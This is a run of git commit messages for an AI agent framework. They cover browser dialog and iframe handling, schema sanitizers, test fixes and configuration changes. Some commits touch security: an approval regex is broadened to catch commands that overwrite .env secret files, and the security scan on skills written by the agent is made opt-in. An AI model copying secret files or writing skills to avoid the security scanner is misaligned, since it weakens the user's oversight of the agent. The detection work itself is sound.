to read api_call_count. If 0 AND it was a timeout (not a raise),
_dump_subagent_timeout_diagnostic() is invoked.
- The returned path is surfaced in the error string so the parent
agent (and therefore the user / gateway) sees exactly where to look.
- api_calls > 0 timeouts keep the old 'stuck on slow API call'
phrasing since that's the correct diagnosis for those.
This does NOT change any behavior for successful subagent runs,
non-timeout errors, or subagents that made at least one API call
before hanging.
Tests: 7 cases (tests/tools/test_delegate_subagent_timeout_diagnostic.py)
- output format + required sections + field values
- long-goal truncation with [truncated] marker
- missing / already-exited worker thread branches
- unwritable HERMES_HOME/logs/ returns None without raising
- _run_single_child wiring: 0 API calls → dump + diagnostic_path in error
- _run_single_child wiring: N>0 API calls → no dump, old message
Refs: #14726
Make the main-branch test suite pass again. Most failures were tests
still asserting old shapes after recent refactors; two were real source
bugs.
Source fixes:
- tools/mcp_tool.py: _kill_orphaned_mcp_children() slept 2s on every
shutdown even when no tracked PIDs existed, making test_shutdown_is_parallel
measure ~3s for 3 parallel 1s shutdowns. Early-return when pids is empty.
- hermes_cli/tips.py: tip 105 was 157 chars; corpus max is 150.
Test fixes (mostly stale mock targets / missing fixture fields):
- test_zombie_process_cleanup, test_agent_cache: patch run_agent.cleanup_vm
(the local name bound at import), not tools.terminal_tool.cleanup_vm.
- test_browser_camofox: patch tools.browser_camofox.load_config, not
hermes_cli.config.load_config (the source module, not the resolved one).
- test_flush_memories_codex._chat_response_with_memory_call: add
finish_reason, tool_call.id, tool_call.type so the chat_completions
transport normalizer doesn't AttributeError.
- test_concurrent_interrupt: polling_tool signature now accepts
messages= kwarg that _invoke_tool() passes through.
- test_minimax_provider: add _fallback_chain=[] to the __new__'d agent
so switch_model() doesn't AttributeError.
- test_skills_config: SKILLS_DIR MagicMock + .rglob stopped working
after the scanner switched to agent.skill_utils.iter_skill_index_files
(os.walk-based). Point SKILLS_DIR at a real tmp_path and patch
agent.skill_utils.get_external_skills_dirs.
- test_browser_cdp_tool: browser_cdp toolset was intentionally split into
'browser-cdp' (commit 96b0f3700) so its stricter check_fn doesn't gate
the whole browser toolset; test now expects 'browser-cdp'.
- test_registry: add tools.browser_dialog_tool to the expected
builtin-discovery set (PR #14540 added it).
- test_file_tools TestPatchHints: patch_tool surfaces hints as a '_hint'
key on the JSON payload, not inline '[Hint: ...' text.
- test_write_deny test_hermes_env: resolve .env via get_hermes_home() so
the path matches the profile-aware denylist under hermetic HERMES_HOME.
- test_checkpoint_manager test_falls_back_to_parent: guard the walk-up
so a stray /tmp/pyproject.toml on the host doesn't pick up /tmp as the
project root.
- test_quick_commands: set cli.session_id in the __new__'d CLI so the
alias-args path doesn't trip AttributeError when fuzzy-matching leaks
a skill command across xdist test distribution.
faster-whisper's device="auto" picks CUDA when ctranslate2's wheel
ships CUDA shared libs, even on hosts without the NVIDIA runtime
(libcublas.so.12 / libcudnn*). On those hosts the model often loads
fine but transcribe() fails at first dlopen, and the broken model
stays cached in the module-global — every subsequent voice message
in the gateway process fails identically until restart.
- Add _load_local_whisper_model() wrapper: try auto, catch missing-lib
errors, retry on device=cpu compute_type=int8.
- Wrap transcribe() with the same fallback: evict cached model, reload
on CPU, retry once. Required because the dlopen failure only surfaces
at first kernel launch, not at model construction.
- Narrow marker list (libcublas, libcudnn, libcudart, 'cannot be loaded',
'no kernel image is available', 'no CUDA-capable device', driver
mismatch). Deliberately excludes 'CUDA out of memory' and similar —
those are real runtime failures that should surface, not be silently
retried on CPU.
- Tests for load-time fallback, runtime fallback (with cached-model
eviction verified), and the OOM non-fallback path.
Reported via Telegram voice-message dumps on WSL2 hosts where libcublas
isn't installed by default.
Local llama.cpp servers (e.g. ggml-org/llama.cpp:full-cuda) fail the entire
request with HTTP 400 'Unable to generate parser for this template. ...
Unrecognized schema: "object"' when any tool schema contains shapes its
json-schema-to-grammar converter can't handle:
* 'type': 'object' without 'properties'
* bare string schema values ('additionalProperties: "object"')
* 'type': ['X', 'null'] arrays (nullable form)
Cloud providers accept these silently, so they ship from external MCP
servers (Atlassian, GCloud, Datadog) and from a couple of our own tools.
Changes
- tools/schema_sanitizer.py: walks the finalized tool list right before it
leaves get_tool_definitions() and repairs the hostile shapes in a deep
copy. No-op on well-formed schemas. Recurses into properties, items,
additionalProperties, anyOf/oneOf/allOf, and $defs.
- model_tools.get_tool_definitions(): invoke the sanitizer as the last
step so all paths (built-in, MCP, plugin, dynamically-rebuilt) get
covered uniformly.
- tools/browser_cdp_tool.py, tools/mcp_tool.py: fix our own bare-object
schemas so sanitization isn't load-bearing for in-repo tools.
- tui_gateway/server.py: _load_enabled_toolsets() was passing
include_default_mcp_servers=False at runtime. That's the config-editing
variant (see PR #3252) — it silently drops every default MCP server
from the TUI's enabled_toolsets, which is why the TUI didn't hit the
llama.cpp crash (no MCP tools sent at all). Switch to True so TUI
matches CLI behavior.
Tests
tests/tools/test_schema_sanitizer.py (17 tests) covers the individual
failure modes, well-formed pass-through, deep-copy isolation, and
required-field pruning.
E2E: loaded the default 'hermes-cli' toolset with MCP discovery and
confirmed all 27 resolved tool schemas pass a llama.cpp-compatibility
walk (no 'object' node missing 'properties', no bare-string schema
values).
* docs: browser CDP supervisor design (for upcoming PR)
Design doc ahead of implementation — dialog + iframe detection/interaction
via a persistent CDP supervisor. Covers backend capability matrix (verified
live 2026-04-23), architecture, lifecycle, policy, agent surface, PR split,
non-goals, and test plan.
Supersedes #12550.
No code changes in this commit.
* feat(browser): add persistent CDP supervisor for dialog + frame detection
Single persistent CDP WebSocket per Hermes task_id that subscribes to
Page/Runtime/Target events and maintains thread-safe state for pending
dialogs, frame tree, and console errors.
Supervisor lives in its own daemon thread running an asyncio loop;
external callers use sync API (snapshot(), respond_to_dialog()) that
bridges onto the loop.
Auto-attaches to OOPIF child targets via Target.setAutoAttach{flatten:true}
and enables Page+Runtime on each so iframe-origin dialogs surface through
the same supervisor.
Dialog policies: must_respond (default, 300s safety timeout),
auto_dismiss, auto_accept.
Frame tree capped at 30 entries + OOPIF depth 2 to keep snapshot
payloads bounded on ad-heavy pages.
E2E verified against real Chrome via smoke test — detects + responds
to main-frame alerts, iframe-contentWindow alerts, preserves frame
tree, graceful no-dialog error path, clean shutdown.
No agent-facing tool wiring in this commit (comes next).
* feat(browser): add browser_dialog tool wired to CDP supervisor
Agent-facing response-only tool. Schema:
action: 'accept' | 'dismiss' (required)
prompt_text: response for prompt() dialogs (optional)
dialog_id: disambiguate when multiple dialogs queued (optional)
Handler:
SUPERVISOR_REGISTRY.get(task_id).respond_to_dialog(...)
check_fn shares _browser_cdp_check with browser_cdp so both surface and
hide together. When no supervisor is attached (Camofox, default
Playwright, or no browser session started yet), tool is hidden; if
somehow invoked it returns a clear error pointing the agent to
browser_navigate / /browser connect.
Registered in _HERMES_CORE_TOOLS and the browser / hermes-acp /
hermes-api-server toolsets alongside browser_cdp.
* feat(browser): wire CDP supervisor into session lifecycle + browser_snapshot
Supervisor lifecycle:
* _get_session_info lazy-starts the supervisor after a session row is
materialized — covers every backend code path (Browserbase, cdp_url
override, /browser connect, future providers) with one hook.
* cleanup_browser(task_id) stops the supervisor for that task first
(before the backend tears down CDP).
* cleanup_all_browsers() calls SUPERVISOR_REGISTRY.stop_all().
* /browser connect eagerly starts the supervisor for task 'default'
so the first snapshot already shows pending_dialogs.
* /browser disconnect stops the supervisor.
CDP URL resolution for the supervisor:
1. BROWSER_CDP_URL / browser.cdp_url override.
2. Fallback: session_info['cdp_url'] from cloud providers (Browserbase).
browser_snapshot merges supervisor state (pending_dialogs + frame_tree)
into its JSON output when a supervisor is active — the agent reads
pending_dialogs from the snapshot it already requests, then calls
browser_dialog to respond. No extra tool surface.
Config defaults:
* browser.dialog_policy: 'must_respond' (new)
* browser.dialog_timeout_s: 300 (new)
No version bump — new keys deep-merge into existing browser section.
Deadlock fix in supervisor event dispatch:
* _on_dialog_opening and _on_target_attached used to await CDP calls
while the reader was still processing an event — but only the reader
can set the response Future, so the call timed out.
* Both now fire asyncio.create_task(...) so the reader stays pumping.
* auto_dismiss/auto_accept now actually close the dialog immediately.
Tests (tests/tools/test_browser_supervisor.py, 11 tests, real Chrome):
* supervisor start/snapshot
* main-frame alert detection + dismiss
* iframe.contentWindow alert
* prompt() with prompt_text reply
* respond with no pending dialog -> clean error
* auto_dismiss clears on event
* registry idempotency
* registry stop -> snapshot reports inactive
* browser_dialog tool no-supervisor error
* browser_dialog invalid action
* browser_dialog end-to-end via tool handler
xdist-safe: chrome_cdp fixture uses a per-worker port.
Skipped when google-chrome/chromium isn't installed.
* docs(browser): document browser_dialog tool + CDP supervisor
- user-guide/features/browser.md: new browser_dialog section with
workflow, availability gate, and dialog_policy table
- reference/tools-reference.md: row for browser_dialog, tool count
bumped 53 -> 54, browser tools count 11 -> 12
- reference/toolsets-reference.md: browser_dialog added to browser
toolset row with note on pending_dialogs / frame_tree snapshot fields
Full design doc lives at
developer-guide/browser-supervisor.md (committed earlier).
* fix(browser): reconnect loop + recent_dialogs for Browserbase visibility
Found via Browserbase E2E test that revealed two production-critical issues:
1. **Supervisor WebSocket drops when other clients disconnect.** Browserbase's
CDP proxy tears down our long-lived WebSocket whenever a short-lived
client (e.g. agent-browser CLI's per-command CDP connection) disconnects.
Fixed with a reconnecting _run loop that re-attaches with exponential
backoff on drops. _page_session_id and _child_sessions are reset on each
reconnect; pending_dialogs and frames are preserved across reconnects.
2. **Browserbase auto-dismisses dialogs server-side within ~10ms.** Their
Playwright-based CDP proxy dismisses alert/confirm/prompt before our
Page.handleJavaScriptDialog call can respond. So pending_dialogs is
empty by the time the agent reads a snapshot on Browserbase.
Added a recent_dialogs ring buffer (capacity 20) that retains a
DialogRecord for every dialog that opened, with a closed_by tag:
* 'agent' — agent called browser_dialog
* 'auto_policy' — local auto_dismiss/auto_accept fired
* 'watchdog' — must_respond timeout auto-dismissed (300s default)
* 'remote' — browser/backend closed it on us (Browserbase)
Agents on Browserbase now see the dialog history with closed_by='remote'
so they at least know a dialog fired, even though they couldn't respond.
3. **Page.javascriptDialogClosed matching bug.** The event doesn't include a
'message' field (CDP spec has only 'result' and 'userInput') but our
_on_dialog_closed was matching on message. Fixed to match by session_id
+ oldest-first, with a safety assumption that only one dialog is in
flight per session (the JS thread is blocked while a dialog is up).
Docs + tests updated:
* browser.md: new availability matrix showing the three backends and
which mode (pending / recent / response) each supports
* developer-guide/browser-supervisor.md: three-field snapshot schema
with closed_by semantics
* test_browser_supervisor.py: +test_recent_dialogs_ring_buffer (12/12
passing against real Chrome)
E2E verified both backends:
* Local Chrome via /browser connect: detect + respond full workflow
(smoke_supervisor.py all 7 scenarios pass)
* Browserbase: detect via recent_dialogs with closed_by='remote'
(smoke_supervisor_browserbase_v2.py passes)
Camofox remains out of scope (REST-only, no CDP) — tracked for
upstream PR 3.
* feat(browser): XHR bridge for dialog response on Browserbase (FIXED)
Browserbase's CDP proxy auto-dismisses native JS dialogs within ~10ms, so
Page.handleJavaScriptDialog calls lose the race. Solution: bypass native
dialogs entirely.
The supervisor now injects Page.addScriptToEvaluateOnNewDocument with a
JavaScript override for window.alert/confirm/prompt. Those overrides
perform a synchronous XMLHttpRequest to a magic host
('hermes-dialog-bridge.invalid'). We intercept those XHRs via Fetch.enable
with a requestStage=Request pattern.
Flow when a page calls alert('hi'):
1. window.alert override intercepts, builds XHR GET to
http://hermes-dialog-bridge.invalid/?kind=alert&message=hi
2. Sync XHR blocks the page's JS thread (mirrors real dialog semantics)
3. Fetch.requestPaused fires on our WebSocket; supervisor surfaces
it as a pending dialog with bridge_request_id set
4. Agent reads pending_dialogs from browser_snapshot, calls browser_dialog
5. Supervisor calls Fetch.fulfillRequest with JSON body:
{accept: true|false, prompt_text: '...', dialog_id: 'd-N'}
6. The injected script parses the body, returns the appropriate value
from the override (undefined for alert, bool for confirm, string|null
for prompt)
This works identically on Browserbase AND local Chrome — no native dialog
ever fires, so Browserbase's auto-dismiss has nothing to race. Dialog
policies (must_respond / auto_dismiss / auto_accept) all still work.
Bridge is installed on every attached session (main page + OOPIF child
sessions) so iframe dialogs are captured too.
Native-dialog path kept as a fallback for backends that don't auto-dismiss
(so a page that somehow bypasses our override — e.g. iframes that load
after Fetch.enable but before the init-script runs — still gets observed
via Page.javascriptDialogOpening).
E2E VERIFIED:
* Local Chrome: 13/13 pytest tests green (12 original + new
test_bridge_captures_prompt_and_returns_reply_text that asserts
window.__ret === 'AGENT-SUPPLIED-REPLY' after agent responds)
* Browserbase: smoke_bb_bridge_v2.py runs 4/4 PASS:
- alert('BB-ALERT-MSG') dismiss → page.alert_ret = undefined ✓
- prompt('BB-PROMPT-MSG', 'default-xyz') accept with 'AGENT-REPLY'
→ page.prompt_ret === 'AGENT-REPLY' ✓
- confirm('BB-CONFIRM-MSG') accept → page.confirm_ret === true ✓
- confirm('BB-CONFIRM-MSG') dismiss → page.confirm_ret === false ✓
Docs updated in browser.md and developer-guide/browser-supervisor.md —
availability matrix now shows Browserbase at full parity with local
Chrome for both detection and response.
* feat(browser): cross-origin iframe interaction via browser_cdp(frame_id=...)
Adds iframe interaction to the CDP supervisor PR (was queued as PR 2).
Design: browser_cdp gets an optional frame_id parameter. When set, the
tool looks up the frame in the supervisor's frame_tree, grabs its child
cdp_session_id (OOPIF session), and dispatches the CDP call through the
supervisor's already-connected WebSocket via run_coroutine_threadsafe.
Why not stateless: on Browserbase, each fresh browser_cdp WebSocket
must re-negotiate against a signed connectUrl. The session info carries
a specific URL that can expire while the supervisor's long-lived
connection stays valid. Routing via the supervisor sidesteps this.
Agent workflow:
1. browser_snapshot → frame_tree.children[] shows OOPIFs with is_oopif=true
2. browser_cdp(method='Runtime.evaluate', frame_id=<OOPIF frame_id>,
params={'expression': 'document.title', 'returnByValue': True})
3. Supervisor dispatches the call on the OOPIF's child session
Supervisor state fixes needed along the way:
* _on_frame_detached now skips reason='swap' (frame migrating processes)
* _on_frame_detached also skips when the frame is an OOPIF with a live
child session — Browserbase fires spurious remove events when a
same-origin iframe gets promoted to OOPIF
* _on_target_detached clears cdp_session_id but KEEPS the frame record
so the agent still sees the OOPIF in frame_tree during transient
session flaps
E2E VERIFIED on Browserbase (smoke_bb_iframe_agent_path.py):
browser_cdp(method='Runtime.evaluate',
params={'expression': 'document.title', 'returnByValue': True},
frame_id=<OOPIF>)
→ {'success': True, 'result': {'value': 'Example Domain'}}
The iframe is <iframe src='https://example.com/'> inside a top-level
data: URL page on a real Browserbase session. The agent Runtime.evaluates
INSIDE the cross-origin iframe and gets example.com's title back.
Tests (tests/tools/test_browser_supervisor.py — 16 pass total):
* test_browser_cdp_frame_id_routes_via_supervisor — injects fake OOPIF,
verifies routing via supervisor, Runtime.evaluate returns 1+1=2
* test_browser_cdp_frame_id_missing_supervisor — clean error when no
supervisor attached
* test_browser_cdp_frame_id_not_in_frame_tree — clean error on bad
frame_id
Docs (browser.md and developer-guide/browser-supervisor.md) updated with
the iframe workflow, availability matrix now shows OOPIF eval as shipped
for local Chrome + Browserbase.
* test(browser): real-OOPIF E2E verified manually + chrome_cdp uses --site-per-process
When asked 'did you test the iframe stuff' I had only done a mocked
pytest (fake injected OOPIF) plus a Browserbase E2E. Closed the
local-Chrome real-OOPIF gap by writing /tmp/dialog-iframe-test/
smoke_local_oopif.py:
* 2 http servers on different hostnames (localhost:18905 + 127.0.0.1:18906)
* Chrome with --site-per-process so the cross-origin iframe becomes a
real OOPIF in its own process
* Navigate, find OOPIF in supervisor.frame_tree, call
browser_cdp(method='Runtime.evaluate', frame_id=<OOPIF>) which routes
through the supervisor's child session
* Asserts iframe document.title === 'INNER-FRAME-XYZ' (from the
inner page, retrieved via OOPIF eval)
PASSED on 2026-04-23.
Tried to embed this as a pytest but hit an asyncio version quirk between
venv (3.11) and the system python (3.13) — Page.navigate hangs in the
pytest harness but works in standalone. Left a self-documenting skip
test that points to the smoke script + describes the verification.
chrome_cdp fixture now passes --site-per-process so future iframe tests
can rely on OOPIF behavior.
Result: 16 pass + 1 documented-skip = 17 tests in
tests/tools/test_browser_supervisor.py.
* docs(browser): add dialog_policy + dialog_timeout_s to configuration.md, fix tool count
Pre-merge docs audit revealed two gaps:
1. user-guide/configuration.md browser config example was missing the
two new dialog_* knobs. Added with a short table explaining
must_respond / auto_dismiss / auto_accept semantics and a link to
the feature page for the full workflow.
2. reference/tools-reference.md header said '54 built-in tools' — real
count on main is 54, this branch adds browser_dialog so it's 55.
Fixed the header. (browser count was already correctly bumped
11 -> 12 in the earlier docs commit.)
No code changes.
* feat(config): make tool output truncation limits configurable
Port from anomalyco/opencode#23770: expose a new `tool_output` config
section so users can tune the hardcoded truncation caps that apply to
terminal output and read_file pagination.
Three knobs under `tool_output`:
- max_bytes (default 50_000) — terminal stdout/stderr cap
- max_lines (default 2000) — read_file pagination cap
- max_line_length (default 2000) — per-line cap in line-numbered view
All three keep their existing hardcoded values as defaults, so behaviour
is unchanged when the section is absent. Power users on big-context
models can raise them; small-context local models can lower them.
Implementation:
- New `tools/tool_output_limits.py` reads the section with defensive
fallback (missing/invalid values → defaults, never raises).
- `tools/terminal_tool.py` MAX_OUTPUT_CHARS now comes from
get_max_bytes().
- `tools/file_operations.py` normalize_read_pagination() and
_add_line_numbers() now pull the limits at call time.
- `hermes_cli/config.py` DEFAULT_CONFIG gains the `tool_output` section
so `hermes setup` writes defaults into fresh configs.
- Docs page `user-guide/configuration.md` gains a "Tool Output
Truncation Limits" section with large-context and small-context
example configs.
Tests (18 new in tests/tools/test_tool_output_limits.py):
- Default resolution with missing / malformed / non-dict config.
- Full and partial user overrides.
- Coercion of bad values (None, negative, wrong type, str int).
- Shortcut accessors delegate correctly.
- DEFAULT_CONFIG exposes the section with the right defaults.
- Integration: normalize_read_pagination clamps to the configured
max_lines.
* feat(skills): add design-md skill for Google's DESIGN.md spec
Built-in skill under skills/creative/ that teaches the agent to author,
lint, diff, and export DESIGN.md files — Google's open-source
(Apache-2.0) format for describing a visual identity to coding agents.
Covers:
- YAML front matter + markdown body anatomy
- Full token schema (colors, typography, rounded, spacing, components)
- Canonical section order + duplicate-heading rejection
- Component property whitelist + variants-as-siblings pattern
- CLI workflow via 'npx @google/design.md' (lint/diff/export/spec)
- Lint rule reference including WCAG contrast checks
- Common YAML pitfalls (quoted hex, negative dimensions, dotted refs)
- Starter template at templates/starter.md
Package verified live on npm (@google/design.md@0.1.1).
MCP stdio servers' stderr was being dumped directly onto the user's
terminal during hermes launch. Servers like FastMCP-based ones print a
large ASCII banner at startup; slack-mcp-server emits JSON logs; etc.
With prompt_toolkit / Rich rendering the TUI concurrently, these
unsolicited writes corrupt the terminal state — hanging the session
~80% of the time for one user with Google Ads Tools + slack-mcp
configured, forcing Ctrl+C and restart loops.
Root cause: `stdio_client(server_params)` in tools/mcp_tool.py was
called without `errlog=`, and the SDK's default is `sys.stderr` —
i.e. the real parent-process stderr, which is the TTY.
Fix: open a shared, append-mode log at $HERMES_HOME/logs/mcp-stderr.log
(created once per process, line-buffered, real fd required by asyncio's
subprocess machinery) and pass it as `errlog` to every stdio_client.
Each server's spawn writes a timestamped header so the shared log stays
readable when multiple servers are running. Falls back to /dev/null if
the log file cannot be opened.
Verified by E2E spawning a subprocess with the log fd as its stderr:
banner lines land in the log file, nothing reaches the calling TTY.
The 300s default was too tight for high-reasoning models on non-trivial
delegated tasks — e.g. gpt-5.5 xhigh reviewing 12 files would burn >5min
on reasoning tokens before issuing its first tool call, tripping the
hard wall-clock timeout with 0 api_calls logged.
- tools/delegate_tool.py: DEFAULT_CHILD_TIMEOUT 300 -> 600
- hermes_cli/config.py: surface delegation.child_timeout_seconds in
DEFAULT_CONFIG so it's discoverable (previously the key was read by
_get_child_timeout() but absent from the default config schema)
Users can still override via config.yaml delegation.child_timeout_seconds
or DELEGATION_CHILD_TIMEOUT_SECONDS env var (floor 30s, no ceiling).
Fixes a broader class of 'tools.function.parameters is not a valid
moonshot flavored json schema' errors on Nous / OpenRouter aggregators
routing to moonshotai/kimi-k2.6 with MCP tools loaded.
## Moonshot sanitizer (agent/moonshot_schema.py, new)
Model-name-routed (not base-URL-routed) so Nous / OpenRouter users are
covered alongside api.moonshot.ai. Applied in
ChatCompletionsTransport.build_kwargs when is_moonshot_model(model).
Two repairs:
1. Fill missing 'type' on every property / items / anyOf-child schema
node (structural walk — only schema-position dicts are touched, not
container maps like properties/$defs).
2. Strip 'type' at anyOf parents; Moonshot rejects it.
## MCP normalizer hardened (tools/mcp_tool.py)
Draft-07 $ref rewrite from PR #14802 now also does:
- coerce missing / null 'type' on object-shaped nodes (salvages #4897)
- prune 'required' arrays to names that exist in 'properties'
(salvages #4651; Gemini 400s on dangling required)
- apply recursively, not just top-level
These repairs are provider-agnostic so the same MCP schema is valid on
OpenAI, Anthropic, Gemini, and Moonshot in one pass.
## Crash fix: safe getattr for Tool.inputSchema
_convert_mcp_schema now uses getattr(t, 'inputSchema', None) so MCP
servers whose Tool objects omit the attribute entirely no longer abort
registration (salvages #3882).
## Validation
- tests/agent/test_moonshot_schema.py: 27 new tests (model detection,
missing-type fill, anyOf-parent strip, non-mutation, real-world MCP
shape)
- tests/tools/test_mcp_tool.py: 7 new tests (missing / null type,
required pruning, nested repair, safe getattr)
- tests/agent/transports/test_chat_completions.py: 2 new integration
tests (Moonshot route sanitizes, non-Moonshot route doesn't)
- Targeted suite: 49 passed
- E2E via execute_code with a realistic MCP tool carrying all three
Moonshot rejection modes + dangling required + draft-07 refs:
sanitizer produces a schema valid on Moonshot and Gemini
- _stdio_pids: set → Dict[int,str] tracks pid→server_name
- SIGTERM-first with 2s grace before SIGKILL escalation
- hasattr guard for SIGKILL on platforms without it
- Updated tests for dict-based tracking and 3-phase kill sequence
The original regex only matched relative paths (./foo/.env or bare
.env), so the exact command from the bug report —
`cp /opt/data/.env.local /opt/data/.env` — did not trigger approval.
Broaden the leading-path prefix to accept an absolute leading slash
alongside ./ and ../, and add regressions for the bug-report command
and its redirection variant.
Previously delegate_task exposed 'max_iterations' in its JSON schema and used
`max_iterations or default_max_iter` — so a model guessing conservatively (or
copy-pasting a docstring hint like 'Only set lower for simple tasks') could
silently shrink a subagent's budget below the user's configured
delegation.max_iterations. One such call this session capped a deep forensic
audit at 40 iterations while the user's config was set to 250.
Changes:
- Drop 'max_iterations' from DELEGATE_TASK_SCHEMA['parameters']['properties'].
Models can no longer emit it.
- In delegate_task(): ignore any caller-supplied max_iterations, always use
delegation.max_iterations from config. Log at debug if a stale schema or
internal caller still passes one through.
- Keep the Python kwarg on the function signature for internal callers
(_build_child_agent tests pass it through the plumbing layer).
- Update test_schema_valid to assert the param is now absent (intentional
contract change, not a change-detector).
Replaces the blanket 'always allow' change from the previous commit with
an opt-in config flag so users who want belt-and-suspenders security can
still get the keyword scan on skill_manage output.
## Default behavior (flag off)
skill_manage(action='create'|'edit'|'patch') no longer runs the keyword
scanner. The agent can write skills that mention risky keywords in prose
(documenting what reviewers should watch for, describing cache-bust
semantics in a PR-review skill, referencing AGENTS.md, etc.) without
getting blocked.
Rationale: the agent can already execute the same code paths via
terminal() with no gate, so the scan adds friction without meaningful
security against a compromised or malicious agent.
## Opt-in behavior (flag on)
Set skills.guard_agent_created: true in config.yaml to get the original
behavior back. Scanner runs on every skill_manage write; dangerous
verdicts surface as a tool error the agent can react to (retry without
the flagged content).
## External hub installs unaffected
trusted/community sources (hermes skills install) always get scanned
regardless of this flag. The gate is specifically for skill_manage,
which only agents call.
## Changes
- hermes_cli/config.py: add skills.guard_agent_created: False to DEFAULT_CONFIG
- tools/skill_manager_tool.py: _guard_agent_created_enabled() reads the flag;
_security_scan_skill() short-circuits to None when the flag is off
- tools/skills_guard.py: restore INSTALL_POLICY['agent-created'] =
('allow', 'allow', 'ask') so the scan remains strict when it does run
- tests/tools/test_skills_guard.py: restore original ask/force tests
- tests/tools/test_skill_manager_tool.py: new TestSecurityScanGate class
covering both flag states + config error handling
## Validation
- tests/tools/test_skills_guard.py + test_skill_manager_tool.py: 115/115 pass
- E2E: flagged-keyword skill creates with default config, blocks with flag on
The security scanner is meant to protect against hostile external skills
pulled from GitHub via hermes skills install — trusted/community policies
block or ask on dangerous verdicts accordingly. But agent-created skills
(from skill_manage) run in the same process as the agent that wrote them.
The agent can already execute the same code paths via terminal() with no
gate, so the ask-on-dangerous policy adds friction without meaningful
security.
Concrete trigger: an agent writing a PR-review skill that describes
cache-busting or persistence semantics in prose gets blocked because
those words appear in the patterns list. The skill isn't actually doing
anything dangerous — it's just documenting what reviewers should watch
for in other PRs.
Change: agent-created dangerous verdict maps to 'allow' instead of 'ask'.
External hub installs (trusted/community) keep their stricter policies
intact. Tests updated: renamed test_dangerous_agent_created_asks →
test_dangerous_agent_created_allowed; renamed force-override test and
updated assertion since force is now a no-op for agent-created (the allow
branch returns first).
The environment-snapshot login shell was auto-sourcing only ~/.bashrc when
building the PATH snapshot. On Debian/Ubuntu the default ~/.bashrc starts
with a non-interactive short-circuit:
case $- in *i*) ;; *) return;; esac
Sourcing it from a non-interactive shell returns before any PATH export
below that guard runs. Node version managers like n and nvm append their
PATH line under that guard, so Hermes was capturing a PATH without
~/n/bin — and the terminal tool saw 'node: command not found' even when
node was on the user's interactive shell PATH.
Expand the auto-source list (when auto_source_bashrc is on) to:
~/.profile → ~/.bash_profile → ~/.bashrc
~/.profile and ~/.bash_profile have no interactivity guard — installers
that write their PATH there (n's n-install, nvm's curl installer on most
setups) take effect. ~/.bashrc still runs last to preserve behaviour for
users who put PATH logic there without the guard.
Added two tests covering the new behaviour plus an E2E test that spins up
a real LocalEnvironment with a guard-prefixed ~/.bashrc and a ~/.profile
PATH export, and verifies the captured snapshot PATH contains the profile
entry.
When a newly-bundled skill's name collides with a pre-existing user
skill, sync silently kept the user's copy. Users never learned that
a bundled version shipped by that name.
Now (on non-quiet sync only) print:
⚠ <name>: bundled version shipped but you already have a local
skill by this name — yours was kept. Run `hermes skills reset
<name>` to replace it with the bundled version.
No behavior change to manifest writes or to the kept user copy —
purely additive warning on the existing collision-skip path.
When a new bundled skill's name collided with a pre-existing user skill
(from hub, custom, or leftover), sync_skills() recorded the bundled hash
in the manifest even though the on-disk copy was unrelated to bundled.
On the next sync, user_hash != origin_hash (bundled_hash) marked the
skill as "user-modified" permanently, blocking all bundled updates for
that skill until the user ran `hermes skills reset`.
Fix: only baseline the manifest entry when the user's on-disk copy is
byte-identical to bundled (safe to track — this is the reset re-sync or
coincidentally-identical install case). Otherwise skip the manifest
write entirely: the on-disk skill is unrelated to bundled and shouldn't
be tracked as if it were.
This preserves reset_bundled_skill()'s re-baseline flow (its post-delete
sync still writes to the manifest when user copy matches bundled) while
fixing the poisoning scenario for genuinely unrelated collisions.
Adds two tests following the existing test_failed_copy_does_not_poison_manifest
pattern: one verifying the manifest stays clean after a collision with
differing content, one verifying no false user_modified flag on resync.
When _resolve_tirith_path() returns None (e.g. install failed on
unsupported platform or all resolution paths exhausted), the function
passed None directly to subprocess.run(), causing a TypeError instead
of respecting the fail_open config.
Add a None check before the subprocess call that allows or blocks
according to the configured fail_open policy, matching the existing
error handling behavior for OSError and TimeoutExpired.
When override_acp_command was passed to _build_child_agent, it failed to
override effective_provider to 'copilot-acp' and effective_api_mode to
'chat_completions'. This caused the child AIAgent to inherit the parent's
native API configuration (e.g. Anthropic) and attempt real HTTP requests
using the parent's API key, leading to HTTP 401 errors and completely
bypassing the ACP subprocess.
Ensure that if an ACP command override is provided, the child agent
correctly routes through CopilotACPClient.
Refs #2653
Adds MiniMax-AI/cli to the default taps list so the mmx-cli skill
is discoverable and installable out of the box via /skills browse
and /skills install. The skill definition lives upstream at
github.com/MiniMax-AI/cli/skill/SKILL.md, keeping updates decoupled.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
- Replace hardcoded 'fr' default with DEFAULT_LOCAL_STT_LANGUAGE ('en')
— removes locale leak, matches other providers
- Drop redundant default=True on is_truthy_value (dict .get already defaults)
- Update auto-detect comment to include 'xai' in the chain
- Fix docstring: 21 languages (match PR body + actual xAI API)
- Update test_sends_language_and_format to set HERMES_LOCAL_STT_LANGUAGE=fr
explicitly, since default is no longer 'fr'
All 18 xAI STT tests pass locally.
In _detect_target(), platform.system() returns "Android" on Termux,
not "Linux". Without this change tirith's auto-installer skips
Android even though the Linux GNU binaries are ABI-compatible.
When an MCP server config has ssl_verify: false (e.g. local dev with
a self-signed cert), the setting was read from config.yaml but never
passed to the httpx client, causing CERTIFICATE_VERIFY_FAILED errors
and silent connection failures.
Fix: read ssl_verify from config and pass it as the 'verify' kwarg to
both code paths:
- New API (mcp >= 1.24.0): httpx.AsyncClient(verify=ssl_verify)
- Legacy API (mcp < 1.24.0): streamablehttp_client(..., verify=ssl_verify)
Fixes local dev setups using ServBay, LocalWP, MAMP, or any stack with
a self-signed TLS certificate.
On Windows, Path.open() defaults to the system ANSI code page (cp1252).
If the .env file contains UTF-8 characters, decoding fails with
'gbk codec can't decode byte 0x94'. Specify encoding='utf-8'
explicitly to ensure consistent behavior across platforms.
The Docker terminal backend runs containers with `--cap-drop ALL`
and re-adds only DAC_OVERRIDE, CHOWN, FOWNER. Since commit fee0e0d3
("run as non-root user, use virtualenv") the image entrypoint drops
from root to the `hermes` user via `gosu`, which requires CAP_SETUID
and CAP_SETGID. Without them every sandbox container exits
immediately with:
Dropping root privileges
error: failed switching to 'hermes': operation not permitted
Breaking every terminal/file tool invocation in `terminal.backend: docker`
mode.
Fix: add SETUID and SETGID to the cap-add list. The `no-new-privileges`
security-opt is kept, so gosu still cannot escalate back to root after
the one-way drop — the hardening posture is preserved.
Reproduction
------------
With any image whose ENTRYPOINT calls `gosu <user>`, the container
exits immediately under the pre-fix cap set. Post-fix, the drop
succeeds and the container proceeds normally.
docker run --rm \
--cap-drop ALL \
